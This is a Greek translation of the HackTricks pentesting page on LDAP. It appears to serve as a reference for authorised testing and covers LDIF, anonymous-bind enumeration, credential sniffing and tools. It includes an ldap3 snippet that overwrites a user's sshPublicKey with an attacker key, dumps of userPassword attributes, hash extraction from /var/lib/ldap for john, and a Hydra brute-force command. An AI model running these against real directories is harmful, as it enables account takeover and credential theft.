23 KiB
389, 636, 3268, 3269 - Pentesting LDAP
{{#include ../banners/hacktricks-training.md}}
Η χρήση του LDAP (Lightweight Directory Access Protocol) αφορά κυρίως τον εντοπισμό διαφόρων οντοτήτων όπως οργανισμοί, άτομα και πόροι όπως αρχεία και συσκευές εντός δικτύων, τόσο δημόσιων όσο και ιδιωτικών. Παρέχει μια πιο απλοποιημένη προσέγγιση σε σύγκριση με τον προκάτοχό του, DAP, έχοντας μικρότερο αποτύπωμα κώδικα.
Οι LDAP κατάλογοι είναι δομημένοι ώστε να επιτρέπεται η διανομή τους σε πολλούς servers, με κάθε server να φιλοξενεί μια replicated και synchronized έκδοση του καταλόγου, που αναφέρεται ως Directory System Agent (DSA). Η ευθύνη για τη διαχείριση των αιτήσεων βαρύνει εξ ολοκλήρου τον LDAP server, ο οποίος μπορεί να επικοινωνεί με άλλες DSAs αν χρειαστεί για να δώσει μια ενοποιημένη απάντηση στον αιτούντα.
Η οργάνωση του LDAP καταλόγου μοιάζει με ιεραρχία δέντρου, ξεκινώντας από τον root directory στην κορυφή. Αυτός διακλαδίζεται σε χώρες, οι οποίες διαχωρίζονται περαιτέρω σε οργανισμούς, και μετά σε οργανωτικές μονάδες που αντιπροσωπεύουν διάφορα τμήματα ή διευθύνσεις, καταλήγοντας τελικά στο επίπεδο των μεμονωμένων οντοτήτων, περιλαμβάνοντας τόσο άτομα όσο και κοινόχρηστους πόρους όπως αρχεία και εκτυπωτές.
Προεπιλεγμένη θύρα: 389 και 636 (ldaps). Global Catalog (LDAP in ActiveDirectory) είναι διαθέσιμος από προεπιλογή στις θύρες 3268 και 3269 για LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Μορφή Ανταλλαγής Δεδομένων
LDIF (LDAP Μορφή Ανταλλαγής Δεδομένων) ορίζει το περιεχόμενο του καταλόγου ως σύνολο εγγραφών. Μπορεί επίσης να αναπαριστά αιτήματα ενημέρωσης (Add, Modify, Delete, Rename).
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
- Γραμμές 1-3 ορίζουν το top level domain local
- Γραμμές 5-8 ορίζουν το first level domain moneycorp (moneycorp.local)
- Γραμμές 10-16 ορίζουν 2 οργανωτικές μονάδες: dev και sales
- Γραμμές 18-26 δημιουργούν ένα αντικείμενο του domain και αντιστοιχίζουν attributes με τιμές
Εγγραφή δεδομένων
Σημειώστε ότι αν μπορείτε να τροποποιήσετε τιμές, θα μπορείτε να εκτελέσετε πολύ ενδιαφέρουσες ενέργειες. Για παράδειγμα, φανταστείτε ότι μπορείτε να αλλάξετε την πληροφορία "sshPublicKey" του χρήστη σας ή οποιουδήποτε χρήστη. Είναι πολύ πιθανό ότι αν αυτό το attribute υπάρχει, τότε ssh διαβάζει τα public keys από LDAP. Αν μπορείτε να τροποποιήσετε το public key ενός χρήστη, θα μπορείτε να συνδεθείτε ως ο εν λόγω χρήστης ακόμα κι αν η πιστοποίηση με κωδικό δεν είναι ενεργοποιημένη στο ssh.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Sniff clear text credentials
Εάν το LDAP χρησιμοποιείται χωρίς SSL, μπορείτε να sniff credentials in plain text στο δίκτυο.
Επίσης, μπορείτε να πραγματοποιήσετε μια MITM επίθεση στο δίκτυο μεταξύ του LDAP server και του client. Εδώ μπορείτε να κάνετε μια Downgrade Attack ώστε ο client να χρησιμοποιήσει τα credentials in clear text για να συνδεθεί.
If SSL is used μπορείτε να προσπαθήσετε να κάνετε MITM όπως αναφέρθηκε παραπάνω αλλά προσφέροντας ένα false certificate· αν ο user accepts it, μπορείτε να κάνετε Downgrade τη μέθοδο authentication και να δείτε ξανά τα credentials.
Ανώνυμη Πρόσβαση
Bypass TLS SNI check
Σύμφωνα με this writeup απλώς με την πρόσβαση στον LDAP server χρησιμοποιώντας ένα αυθαίρετο domain name (π.χ. company.com) κατάφερε να επικοινωνήσει με την LDAP υπηρεσία και να εξάγει πληροφορίες ως anonymous user:
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP anonymous binds
LDAP anonymous binds allow μη αυθεντικοποιημένοι επιτιθέμενοι να ανακτήσουν πληροφορίες από το domain, όπως πλήρη λίστα χρηστών, ομάδων, υπολογιστών, attributes λογαριασμών χρηστών και την πολιτική κωδικών του domain. Αυτή είναι μια παλαιότερη διαμόρφωση, και από τα Windows Server 2003 μόνο οι επαληθευμένοι χρήστες επιτρέπεται να ξεκινούν αιτήματα LDAP.
Ωστόσο, οι διαχειριστές μπορεί να χρειάστηκε να ρυθμίσουν μια συγκεκριμένη εφαρμογή ώστε να επιτρέπει anonymous binds και να παραχώρησαν περισσότερο από το προβλεπόμενο επίπεδο πρόσβασης, δίνοντας έτσι σε μη αυθεντικοποιημένους χρήστες πρόσβαση σε όλα τα αντικείμενα στο AD.
Anonymous LDAP enumeration with NetExec (null bind)
If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. Useful filters:
- (objectClass=*) to inventory objects under a base DN
- (sAMAccountName=*) to harvest user principals
Examples:
# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
Τι να αναζητήσετε:
- sAMAccountName, userPrincipalName
- memberOf και θέση OU για τον περιορισμό των στοχευμένων sprays
- pwdLastSet (χρονικά μοτίβα), userAccountControl flags (disabled, smartcard required, κ.λπ.)
Σημείωση: Εάν το anonymous bind δεν επιτρέπεται, συνήθως θα δείτε ένα Operations error που υποδεικνύει ότι απαιτείται bind.
Έγκυρα διαπιστευτήρια
Εάν έχετε έγκυρα διαπιστευτήρια για σύνδεση στον LDAP server, μπορείτε να εξάγετε όλες τις πληροφορίες για τον Domain Admin χρησιμοποιώντας:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Brute Force
Καταγραφή
Αυτοματοποιημένο
Με αυτό θα μπορείτε να δείτε τις δημόσιες πληροφορίες (όπως το όνομα τομέα):
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Python
Δείτε LDAP enumeration με python
Μπορείτε να δοκιμάσετε να enumerate a LDAP με ή χωρίς credentials χρησιμοποιώντας python: pip3 install ldap3
Πρώτα δοκιμάστε να συνδεθείτε χωρίς credentials:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
Αν η απάντηση είναι True
όπως στο προηγούμενο παράδειγμα, μπορείτε να αποκτήσετε κάποια ενδιαφέροντα δεδομένα του LDAP (όπως το naming context ή το domain name) διακομιστή από:
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
Μόλις έχετε το naming context, μπορείτε να κάνετε μερικά πιο συναρπαστικά queries. Αυτό το απλό query θα πρέπει να σας δείξει όλα τα αντικείμενα στον κατάλογο:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
Ή dump ολόκληρο το ldap:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
windapsearch
Windapsearch είναι ένα Python script χρήσιμο για enumerate users, groups, and computers from a Windows domain χρησιμοποιώντας LDAP queries.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
Ελέγξτε για null credentials ή αν τα credentials σας είναι έγκυρα:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
Αν βρείτε κάτι που λέει ότι το "bind must be completed" σημαίνει ότι τα διαπιστευτήρια είναι λανθασμένα.
Μπορείτε να εξάγετε τα πάντα από ένα domain χρησιμοποιώντας:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
Εξαγωγή χρηστών:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
Εξαγωγή υπολογιστών:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
Εξάγετε τις πληροφορίες μου:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Εξαγωγή Domain Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Εξαγωγή Domain Users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Εξαγωγή Enterprise Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Εξαγωγή Administrators:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Εξαγωγή Remote Desktop Group:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Για να δείτε αν έχετε πρόσβαση σε κάποιο password μπορείτε να χρησιμοποιήσετε grep αφού εκτελέσετε ένα από τα queries:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
pbis
Παρακαλώ, σημειώστε ότι οι κωδικοί πρόσβασης που μπορείτε να βρείτε εδώ ενδέχεται να μην είναι οι πραγματικοί...
Μπορείτε να κατεβάσετε το pbis από εδώ: https://github.com/BeyondTrust/pbis-open/ και συνήθως εγκαθίσταται στο /opt/pbis
.\
Pbis σας επιτρέπει να αποκτήσετε βασικές πληροφορίες εύκολα:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
Γραφική Διεπαφή
Apache Directory
Κατεβάστε το Apache Directory από εδώ. Μπορείτε να βρείτε ένα παράδειγμα χρήσης αυτού του εργαλείου εδώ.
jxplorer
Μπορείτε να κατεβάσετε μια γραφική διεπαφή με LDAP server εδώ: http://www.jxplorer.org/downloads/users.html
By default is is installed in: /opt/jxplorer
Godap
Godap είναι μια διαδραστική διεπαφή τερματικού για LDAP που μπορεί να χρησιμοποιηθεί για αλληλεπίδραση με αντικείμενα και attributes στο AD και άλλους LDAP servers. Διατίθεται για Windows, Linux και MacOS και υποστηρίζει simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, μαζί με αρκετές άλλες εξειδικευμένες λειτουργίες όπως αναζήτηση/δημιουργία/τροποποίηση/διαγραφή αντικειμένων, προσθήκη/αφαίρεση χρηστών από ομάδες, αλλαγή passwords, επεξεργασία permissions αντικειμένων (DACLs), τροποποίηση Active-Directory Integrated DNS (ADIDNS), εξαγωγή σε JSON αρχεία, κ.λπ.
Μπορείτε να το βρείτε στο https://github.com/Macmod/godap. Για παραδείγματα χρήσης και οδηγίες διαβάστε το Wiki.
Ldapx
Ldapx είναι ένας ευέλικτος LDAP proxy που μπορεί να χρησιμοποιηθεί για να επιθεωρήσει και να μετασχηματίσει την LDAP κίνηση από άλλα εργαλεία. Μπορεί να χρησιμοποιηθεί για να παραποιήσει την LDAP κίνηση με στόχο την παράκαμψη εργαλείων προστασίας ταυτότητας & παρακολούθησης LDAP και υλοποιεί τις περισσότερες από τις μεθόδους που παρουσιάστηκαν στο MaLDAPtive talk.
Μπορείτε να το κατεβάσετε από https://github.com/Macmod/ldapx.
Authentication via kerberos
Χρησιμοποιώντας ldapsearch
μπορείτε να αυθεντικοποιηθείτε μέσω kerberos αντί για μέσω NTLM χρησιμοποιώντας την παράμετρο -Y GSSAPI
POST
Αν μπορείτε να έχετε πρόσβαση στα αρχεία όπου περιέχονται οι βάσεις δεδομένων (μπορεί να είναι στο /var/lib/ldap). Μπορείτε να εξαγάγετε τα hashes χρησιμοποιώντας:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
Μπορείς να δώσεις στο john το password hash (από '{SSHA}' έως 'structural' χωρίς να προσθέσεις το 'structural').
Αρχεία ρυθμίσεων
- General
- containers.ldif
- ldap.cfg
- ldap.conf
- ldap.xml
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 server
- V3.sas.oc
- Microsoft Active Directory server
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP directory server
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
- 75sas.ldif
Αυτόματες Εντολές HackTricks
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
Αναφορές
- HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin
- NetExec (CME successor)
- Microsoft: Anonymous LDAP operations to Active Directory are disabled
{{#include ../banners/hacktricks-training.md}}